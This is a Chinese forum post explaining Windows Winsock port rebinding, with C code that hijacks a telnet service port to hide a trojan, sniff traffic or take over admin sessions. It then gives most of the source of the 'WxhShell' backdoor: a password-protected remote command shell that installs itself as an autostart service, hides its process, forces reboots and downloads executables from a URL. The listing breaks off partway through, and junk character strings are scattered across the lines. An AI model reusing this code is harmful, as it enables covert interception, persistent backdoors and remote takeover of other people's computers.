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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R"=pAO.4l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rx 4 ;X  
Iw$7f kq  
  saddr.sin_family = AF_INET; z5v)~+"1  
[ENm(e$sI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r-+.Ax4L"  
. j}dk.#h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :U>o;  
Dxu2rz!li-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uf (`I  
9 BPucXK  
  这意味着什么?意味着可以进行如下的攻击: #AzZ4<;7  
R*D0A@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '8v^.gZ  
geL)v7t+#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  DKu4e  
8-c1q*q)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bg*Oj)NM  
}^;Tt-*k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %+U.zd$  
H\7Qf8s|{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %B$~yx3#  
A7|!&fi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wvum7K{tI  
V6Y:l9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S$Tc\ /{  
,25Qhz]  
  #include `Pv[A  
  #include R g7  O  
  #include [ 44d(P'  
  #include    .AOf-a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ r6qnC2  
  int main() Tp&03  
  { C#`VVtei  
  WORD wVersionRequested; Lf|5miO  
  DWORD ret; #y"E hwF  
  WSADATA wsaData; Re**)3#gn  
  BOOL val; b/='M`D}#G  
  SOCKADDR_IN saddr; %l!Gt"\xm  
  SOCKADDR_IN scaddr; f:gXXigY,  
  int err; xioL6^(Qk,  
  SOCKET s;  "MD  
  SOCKET sc; UUGwXq96i  
  int caddsize; sXdNlR&  
  HANDLE mt; 't:|>;Wx  
  DWORD tid;   Q=[A P+  
  wVersionRequested = MAKEWORD( 2, 2 ); <GI{`@5C  
  err = WSAStartup( wVersionRequested, &wsaData ); ~{hcJ:bI  
  if ( err != 0 ) { _6v|k}tW'Y  
  printf("error!WSAStartup failed!\n"); E`3yf9"  
  return -1; mdW8RsR  
  } V8w!yc  
  saddr.sin_family = AF_INET; 1H{M0e  
   6H,n?[zTt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L, L>cmpM  
J fFOU!F\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7KOM,FWKe  
  saddr.sin_port = htons(23); p9ligs7V'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?'_E$  
  { !N--  
  printf("error!socket failed!\n"); &)@|WLW  
  return -1; B>}=x4-8  
  } :gMcl"t--  
  val = TRUE; Mvq5s+.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M}E0Msq_o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A` x_M!m  
  { SR@yG:~  
  printf("error!setsockopt failed!\n"); 8y5iT?.~vy  
  return -1; 2`qO'V3Q  
  } kXGJZ$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; / E~)xgPM<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AV\6K;~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^sR]w]cz.  
Nf(Np1?;c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !iBe/yb  
  { Sq"O<FmI  
  ret=GetLastError(); *5'U3py  
  printf("error!bind failed!\n"); cs[_5r&:  
  return -1; ,2\?kPoc8  
  } Te=[tx~x  
  listen(s,2); e|)6zh<O:  
  while(1) >CtT_yhx  
  { )&R^J;W$M1  
  caddsize = sizeof(scaddr); ;fLYO6  
  //接受连接请求 x _&=IyU0j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +cS%b}O`$  
  if(sc!=INVALID_SOCKET) -F.A1{l[.  
  { '|mVY; i[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UX3 ]cr  
  if(mt==NULL) k*)O]M<,  
  { ^.5`jdk  
  printf("Thread Creat Failed!\n"); 8zv=@`4@G  
  break; }}Gz3>?24=  
  } 3T)GUzt`  
  } +L(0R&C  
  CloseHandle(mt); i;4|UeUl  
  } /[Oo*}Dc=F  
  closesocket(s); "iFA&$\  
  WSACleanup(); d1YE$   
  return 0; HAa2q=  
  }   oxkA+}^j8M  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6[g~p< 8n}  
  { 5ve4u  
  SOCKET ss = (SOCKET)lpParam; <xOv0B  
  SOCKET sc; T~B'- >O  
  unsigned char buf[4096]; o4I&?d7;"  
  SOCKADDR_IN saddr; &?\'Z~B4  
  long num; > <cK  
  DWORD val; ATq)8Rm\  
  DWORD ret; hs'J'~a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1T(:bM_t`7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wez"E2J`  
  saddr.sin_family = AF_INET; ?M'_L']N[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x2gnB@t  
  saddr.sin_port = htons(23); )aY^k|I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T8|aFoHCK  
  { F0,-7<G  
  printf("error!socket failed!\n"); N<bNJD}  
  return -1; P e_mX*0  
  } {=]1]IWt  
  val = 100; ub^v ,S8O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HF@K$RPK  
  { 3,qq\gxB  
  ret = GetLastError(); ^zjQ(ca@"x  
  return -1; uMW5F-~-+  
  } 2p3ep,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~I^}'^Dbb  
  { jA ?tDAx`  
  ret = GetLastError(); P $4h_dw  
  return -1; Yv0;UKd  
  } _y~H#r9:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XI6LPA0%  
  { XRU^7@Ylks  
  printf("error!socket connect failed!\n"); /0|niiI  
  closesocket(sc); $.Fti-5  
  closesocket(ss); =X6+}YQ"  
  return -1; u+7B-l=u*  
  } ]KX _a1e  
  while(1)  4{2)ZI#  
  { /($!("b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z,~"`9>Ss  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1iOQ8hD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VKa-  
  num = recv(ss,buf,4096,0); F12tOSfu*  
  if(num>0) }@Mx@ S  
  send(sc,buf,num,0); m#[tY >Q[b  
  else if(num==0) 79J@`  
  break; oYWcX9R  
  num = recv(sc,buf,4096,0); H*U\P2C!)  
  if(num>0) %,9iY&;U"  
  send(ss,buf,num,0); mPHn &4  
  else if(num==0) USVM' ~p I  
  break; I0\}S [+ H  
  } ,z}wR::%  
  closesocket(ss); 5[WhjTo  
  closesocket(sc); FrSeR9b  
  return 0 ; q9n0bw^N  
  } \! 8`kC  
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_q([k_4h  
========================================================== S fE^'G\  
&k3'UN!&Ix  
下边附上一个代码,,WXhSHELL g;(r@>U.r  
hA`>SkO  
========================================================== ;S+c<MSl  
 z"BV+  
#include "stdafx.h" 3Lwl~h!  
]rM{\En  
#include <stdio.h> FAu G`zu  
#include <string.h> OT7F#:2`  
#include <windows.h> eafy5vN[zX  
#include <winsock2.h> l79jd%/m  
#include <winsvc.h> "r0z( j  
#include <urlmon.h> zOq~?>Ms6  
RM53B  
#pragma comment (lib, "Ws2_32.lib") [|{yr  
#pragma comment (lib, "urlmon.lib") x_Ki5~w5  
5=Bj?xb$'  
#define MAX_USER   100 // 最大客户端连接数 r @~T}<I  
#define BUF_SOCK   200 // sock buffer @18@[ :d"  
#define KEY_BUFF   255 // 输入 buffer wxZnuCO%H8  
#&">x7?5  
#define REBOOT     0   // 重启 ?Gl'-tV  
#define SHUTDOWN   1   // 关机 =ox#qg.5  
a<Pi J?  
#define DEF_PORT   5000 // 监听端口 uqZLlP#&#  
W0$G 7 s  
#define REG_LEN     16   // 注册表键长度 :EyH'v  
#define SVC_LEN     80   // NT服务名长度 ?{qw /&  
vnz.81OR  
// 从dll定义API t; n6Q0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h`%K \C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c%)uG _  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '2]u{rr~+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4:cbasy  
mU_?}}aK,  
// wxhshell配置信息 M@Q=!!tQ(  
struct WSCFG { UA,&0.7  
  int ws_port;         // 监听端口 &+`l $h  
  char ws_passstr[REG_LEN]; // 口令 oO @6c%  
  int ws_autoins;       // 安装标记, 1=yes 0=no %e7{ke}r  
  char ws_regname[REG_LEN]; // 注册表键名 oKt<s+r  
  char ws_svcname[REG_LEN]; // 服务名 X5wS6v)#(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6u7 (}K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /+RNPQO O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u7j-uVG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z/fRd6|[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @.*[CC;&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~<, \=;b/  
qx{.`AaZW  
}; &7Ixf?e!K  
`#fOY$#XB  
// default Wxhshell configuration 2xe_Q70II  
struct WSCFG wscfg={DEF_PORT, kVU|k-?2  
    "xuhuanlingzhe", v}z o v Ei  
    1, LO.4sO  
    "Wxhshell", QY+#Vp<`  
    "Wxhshell", #2ZXYH}  
            "WxhShell Service", T<54qe4`p  
    "Wrsky Windows CmdShell Service", g) v"nNS  
    "Please Input Your Password: ", j)-D.bY0  
  1, Z55,S=i  
  "http://www.wrsky.com/wxhshell.exe",  8k J k5  
  "Wxhshell.exe" 6xL=JSi~  
    }; *`}_e)(k  
!+ uMH!  
// 消息定义模块 #]lUJ &M}e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3jS=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MP}H 5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f=K1ZD  
char *msg_ws_ext="\n\rExit."; 8@h zw~>  
char *msg_ws_end="\n\rQuit."; A^,(Vyd  
char *msg_ws_boot="\n\rReboot..."; 1.,mNY^UN  
char *msg_ws_poff="\n\rShutdown..."; HAO/r`7*  
char *msg_ws_down="\n\rSave to "; izFu&syv)  
CPVKz   
char *msg_ws_err="\n\rErr!"; e982IP  
char *msg_ws_ok="\n\rOK!"; {6%uNT>|  
MT6kJDyLu  
char ExeFile[MAX_PATH]; #eUfwd6.Y  
int nUser = 0; p,tB  
HANDLE handles[MAX_USER]; keJec`q=X  
int OsIsNt; k2t?e:)3zr  
SAH\'v0  
SERVICE_STATUS       serviceStatus; 5)nv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }qKeX4\-  
>`{i[60r  
// 函数声明 {Y0I A97,  
int Install(void); rM?D7a{q  
int Uninstall(void); Ap!UX=HBb  
int DownloadFile(char *sURL, SOCKET wsh); 0H>Fyl2_  
int Boot(int flag); 7_K(x mK  
void HideProc(void); tjd"05"@:  
int GetOsVer(void); vj^U F(X  
int Wxhshell(SOCKET wsl); ZH0f32K  
void TalkWithClient(void *cs); N!h>fE`  
int CmdShell(SOCKET sock); $AXz/fGV  
int StartFromService(void); %x927I>  
int StartWxhshell(LPSTR lpCmdLine); O]Kb~jkd  
}TF<C !]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6U&Uyd)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z!3Z^d`  
rmabm\QY  
// 数据结构和表定义 %'=oMbi>i4  
SERVICE_TABLE_ENTRY DispatchTable[] = Qy70/on9  
{ M`>W'<  
{wscfg.ws_svcname, NTServiceMain}, M:I,j  
{NULL, NULL} F}AbA pTv  
}; =d5!O~}r>  
W^Rb~b^?  
// 自我安装 J.nVEqLZ  
int Install(void) H]-W$V   
{ /7lkbL  
  char svExeFile[MAX_PATH]; iit`'}+U  
  HKEY key; N)!v-z,k  
  strcpy(svExeFile,ExeFile); I !(yU  
; zvnDox  
// 如果是win9x系统,修改注册表设为自启动 &(rd{j/*  
if(!OsIsNt) { }w-`J5Eq#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >bZ#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qXhrK /  
  RegCloseKey(key); OK)0no=OAK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X,fTzkGj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p|FX_4RjX  
  RegCloseKey(key); O#EBR<CuK  
  return 0; ZGbZu  
    } <+$S{Z.  
  } `UI)H*GA8  
} > Qtyw.n  
else { .lFSFJ??  
Za f)  
// 如果是NT以上系统,安装为系统服务 s{,e^T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /,>.${,;u  
if (schSCManager!=0) ?hmb"^vlG  
{ 62 _$O"  
  SC_HANDLE schService = CreateService i4pJIb  
  ( 9Ac t<( V  
  schSCManager, -24.[E/5  
  wscfg.ws_svcname, dXDD/8E  
  wscfg.ws_svcdisp, <R(2 9QN  
  SERVICE_ALL_ACCESS, (s3%1OC[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @TprS d  
  SERVICE_AUTO_START, =B:poh[u  
  SERVICE_ERROR_NORMAL, wMUnZHd{|  
  svExeFile, kC k-  
  NULL, Y{yr-E #~M  
  NULL, AFFLnLA<L  
  NULL, }M7kApb>Y  
  NULL, .UYpPuAkn  
  NULL w7D:0SGD  
  ); e)xWQ=,C  
  if (schService!=0) 2)A D'  
  { UZ!hk*PF  
  CloseServiceHandle(schService); VM!x)i9z  
  CloseServiceHandle(schSCManager); vj b?N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m#ie{u^  
  strcat(svExeFile,wscfg.ws_svcname); :mrGB3x{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /trc&V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h+W^k+~(  
  RegCloseKey(key); O9_YVE/-]  
  return 0; )QE_+H}p  
    } 5oKc=iX_3  
  } xY S%dLE"  
  CloseServiceHandle(schSCManager); 9y4rw]4zI  
} (=/F=,w   
} (FaT{W{  
H_j<%VW  
return 1; _+N^yw,r*  
} #TgJ d  
[5VUcXGt*\  
// 自我卸载 @ 7?_Yw  
int Uninstall(void) $"8k|^Z3  
{ w!}1oy  
  HKEY key; }j?S?=;m=  
.+Ej%|l%  
if(!OsIsNt) { -^b^6=#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+\z0_' w6  
  RegDeleteValue(key,wscfg.ws_regname); %p9bl ,x  
  RegCloseKey(key); gJ&!w8v.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,_$"6  
  RegDeleteValue(key,wscfg.ws_regname); x/7G0K2\}  
  RegCloseKey(key); 6.|~~/  
  return 0; LU{Z  
  } wB)+og-^1f  
} is(!_Iv  
} 95Qz1*TR  
else { p4'"Wk8  
Q 8rtZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %wf|nnieZ  
if (schSCManager!=0) p*0Ve21i,  
{ #CPPdU$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E(tBN]W.  
  if (schService!=0) )sf~l6  
  { 'y?|shV{]  
  if(DeleteService(schService)!=0) { Uot-@|l  
  CloseServiceHandle(schService); Nd_@J&  
  CloseServiceHandle(schSCManager); F[ EblJ  
  return 0; Q:gn>/  
  } }$U[5wL,_  
  CloseServiceHandle(schService); tTGK25&  
  } >bN~p  
  CloseServiceHandle(schSCManager); <L~xR5  
} sAoM=n}!  
} zy[=OX+  
9i}D6te  
return 1; .$0Ob<.  
} m0Syxb  
u-{l,p_H  
// 从指定url下载文件 ql~{`qoD~  
int DownloadFile(char *sURL, SOCKET wsh) Z0eBx  
{ ;g:bn5G  
  HRESULT hr; :BX{ *P  
char seps[]= "/"; )$B+ 3f  
char *token; !B lk=L+p  
char *file; o# xg:m_py  
char myURL[MAX_PATH]; ;a&:r7]=  
char myFILE[MAX_PATH]; oKi1=d+T  
el?V2v[  
strcpy(myURL,sURL); } +4Bf+u:  
  token=strtok(myURL,seps); kI 3zYD^:  
  while(token!=NULL) c@-K  
  { DBBBpb~~  
    file=token; K$cIVsfr  
  token=strtok(NULL,seps); g/,Bx!'8p  
  } oqba:y;AR  
ms7 7{A3  
GetCurrentDirectory(MAX_PATH,myFILE); SECQVA_y`  
strcat(myFILE, "\\"); 5TneuGD  
strcat(myFILE, file); 1[BvHOI2  
  send(wsh,myFILE,strlen(myFILE),0); g>xUS_d>  
send(wsh,"...",3,0); '$XHRS/q]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J,G9m4Z7  
  if(hr==S_OK) {7Avba  
return 0; P! Ed  
else /iy*3P,`  
return 1; c^Jgr(Ow  
`4.sy +2  
} Ig3(|{R  
g]<Z]R`  
// 系统电源模块 ` G=L07  
int Boot(int flag) )H9*NB8%  
{ (oitCIV  
  HANDLE hToken; G>,nZ/,A{  
  TOKEN_PRIVILEGES tkp; %lJiM`a  
6 2`PK+  
  if(OsIsNt) { $xtE+EV.p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yVI;s|jG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tOg 8L2  
    tkp.PrivilegeCount = 1; [A9 ,!YY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [Z#.]gb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q f-k&d  
if(flag==REBOOT) { V$<G)dwUG5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %?oU{KzQ@;  
  return 0; 0r-lb[n8i  
} I?Jii8|W9  
else { :aq>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /QXs-T}d  
  return 0; aE\BAbD7  
} ?4>y2!OC9  
  } Bdq"6SK>  
  else { cL)rjty2  
if(flag==REBOOT) { k,R~oSA'n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z3Y)-  
  return 0; j]B $(pt  
} boF4d'g"  
else { {9Mdt`WL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "h^#<bPN  
  return 0; dA)4(0o8fD  
} 3.<6;?  
} H'0*CiHes  
Sd\IGy{a  
return 1; K-EI?6`xM  
} @yn^6cE  
4 ?@uF[  
// win9x进程隐藏模块 (L0 hS'  
void HideProc(void) _%Jl&0%q  
{ UI<PNQvo9  
n E,gQHw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9j?hF$L"  
  if ( hKernel != NULL ) bj7MzlGFy  
  { ]EM)_:tRf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +:"6`um|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {1@4}R4  
    FreeLibrary(hKernel); 3 2 1={\X  
  } ^Em@6fz[  
P\X=*  
return; 8q~FUJhU  
} {{]=zt|69  
/y](mu"!  
// 获取操作系统版本 6PJJ?}P^1  
int GetOsVer(void) "_1-IE  
{ 5{ 4"JO3  
  OSVERSIONINFO winfo; $uUb$8 Bu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); moVa'1ul  
  GetVersionEx(&winfo); g;-+7ViIr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G{f`K^  
  return 1; g2aT`=&Z  
  else  w{ r(F`  
  return 0; l<aqiZSY  
} ,dZ H$  
(]}x[F9l  
// 客户端句柄模块 cPx ~|,)l  
int Wxhshell(SOCKET wsl) \ L9?69B~  
{ _ 7BF+*T  
  SOCKET wsh; nG},v%  
  struct sockaddr_in client; :n+y/6 *  
  DWORD myID; B15O,sL&W  
T^'*_*m  
  while(nUser<MAX_USER) AY&9JSu 6  
{ Q+N7:o!;<b  
  int nSize=sizeof(client); AU\xNF3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t*Vao  
  if(wsh==INVALID_SOCKET) return 1; {(M&-~Yh  
Lz9$,Y[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1=/doo{^  
if(handles[nUser]==0) # Z|%0r_~  
  closesocket(wsh); !Bk[p/\  
else E?Qz/*'zv  
  nUser++; ) ]/i  
  } S om. qD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [GR|$/(z=  
FtFv<UV  
  return 0; G>=9gSLM  
} s<Ex"+  
ReI=4Jq11  
// 关闭 socket N?a1sdR  
void CloseIt(SOCKET wsh) N"YK@)*Q  
{ n&0mz1rw  
closesocket(wsh); 'ZGT`'ri  
nUser--; hF{x')(#l  
ExitThread(0); jU]]:S4xD/  
} `P^u:  
&547`*  
// 客户端请求句柄 o%V @D'w  
void TalkWithClient(void *cs) [!J @a  
{ Q? <-`7  
&TP:yA[  
  SOCKET wsh=(SOCKET)cs; ch0oFc$  
  char pwd[SVC_LEN]; :(bdI]  
  char cmd[KEY_BUFF]; 3{Na ZIk  
char chr[1]; 2 ?Pt Z  
int i,j; Q$xa  
Em~7D ]Y  
  while (nUser < MAX_USER) { V17>j0Ev$W  
HF &h  
if(wscfg.ws_passstr) { KjFZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ig{A[7qN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |~@x4J5,  
  //ZeroMemory(pwd,KEY_BUFF); --in+  
      i=0; C2+{U  
  while(i<SVC_LEN) { ?(5o@Xq  
U6c)"^\  
  // 设置超时 gt =j5  
  fd_set FdRead; pau*kMu^}  
  struct timeval TimeOut; tJUVw=  
  FD_ZERO(&FdRead); {E3xI2  
  FD_SET(wsh,&FdRead); Ne &Xf  
  TimeOut.tv_sec=8; o,?!"*EP  
  TimeOut.tv_usec=0; ]regi- LGU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DAjG *K{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +"k.E x0:  
v2/yw,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gHQPhe#n  
  pwd=chr[0]; TqS2!/jp  
  if(chr[0]==0xd || chr[0]==0xa) { /hm84La  
  pwd=0; u:_sTfKm&  
  break; [NHg&R H  
  } RDUT3H6~  
  i++; e1^fUOS  
    } E:08%4O  
?!bd!:(N  
  // 如果是非法用户,关闭 socket vC)"*wYB{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X}zX`]:I'  
} Pv< QjY  
M0cd-Dn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TA Ftcs:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~gu=x&{  
I*^5'N'  
while(1) { siZr@g!L  
SV$nyV  
  ZeroMemory(cmd,KEY_BUFF); TRF]i/Bs  
O!:QJ ^8 d  
      // 自动支持客户端 telnet标准   &}vR(y*#c  
  j=0; *-?Wcz  
  while(j<KEY_BUFF) { 3.Ji5~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oq*n9V  
  cmd[j]=chr[0]; tRLE,(S,-  
  if(chr[0]==0xa || chr[0]==0xd) { xU@1!%l@  
  cmd[j]=0; _,DO~L  
  break; 4cott^K.  
  } z'7#"D  
  j++; <KKDu$W|T  
    } MQwIPjk8  
vTpStoUM  
  // 下载文件 X.s*>'  
  if(strstr(cmd,"http://")) { yt. f!"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9GO}&7   
  if(DownloadFile(cmd,wsh)) 2ubmsbt$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rVUUH!  
  else  ci`zR9Ks  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+NF(d  
  } #X#8ynt  
  else { W0Ktw6  
9Hu d|n  
    switch(cmd[0]) { ]53O}sH>  
  F7\BF  
  // 帮助 Tak t_N  
  case '?': { N5m'To]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (VR" Mi4  
    break; G;/Q>V  
  } YnSbw3U.I  
  // 安装 yB.G=90  
  case 'i': { 5B1G?`]?  
    if(Install()) NeHx2m+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BYS lKTh  
    else P^"R4T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M~als3  
    break; RoX &+~  
    } q%>7L<r  
  // 卸载 @|BD|{k  
  case 'r': { uG;?vvg>  
    if(Uninstall()) 4:D:| r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b6|Z"{TI _  
    else &M[MEO`t8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Nbc/nB$  
    break; !K[/L< Kv  
    } |8bE9qt.P  
  // 显示 wxhshell 所在路径 lK*jhW?3:  
  case 'p': { fmFzW*,E  
    char svExeFile[MAX_PATH]; S.: 7k9  
    strcpy(svExeFile,"\n\r"); 6JSY56v  
      strcat(svExeFile,ExeFile); P'sfi>A  
        send(wsh,svExeFile,strlen(svExeFile),0); :/6()_>bO  
    break; E4r.ky`#~  
    } I FsE!oDs4  
  // 重启 ur6e&bTp  
  case 'b': { #,&8&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _w z2  
    if(Boot(REBOOT)) -j&Vtr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oCVku:.  
    else { OqBC/p B  
    closesocket(wsh); Rv<L#!; t  
    ExitThread(0); ^2E hlK^)  
    } }%$OU =T  
    break; ?KB@Zm+#~  
    } A d/($v5+  
  // 关机 xI?0N<'.*q  
  case 'd': { eRs&iK2y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ox[ .)v  
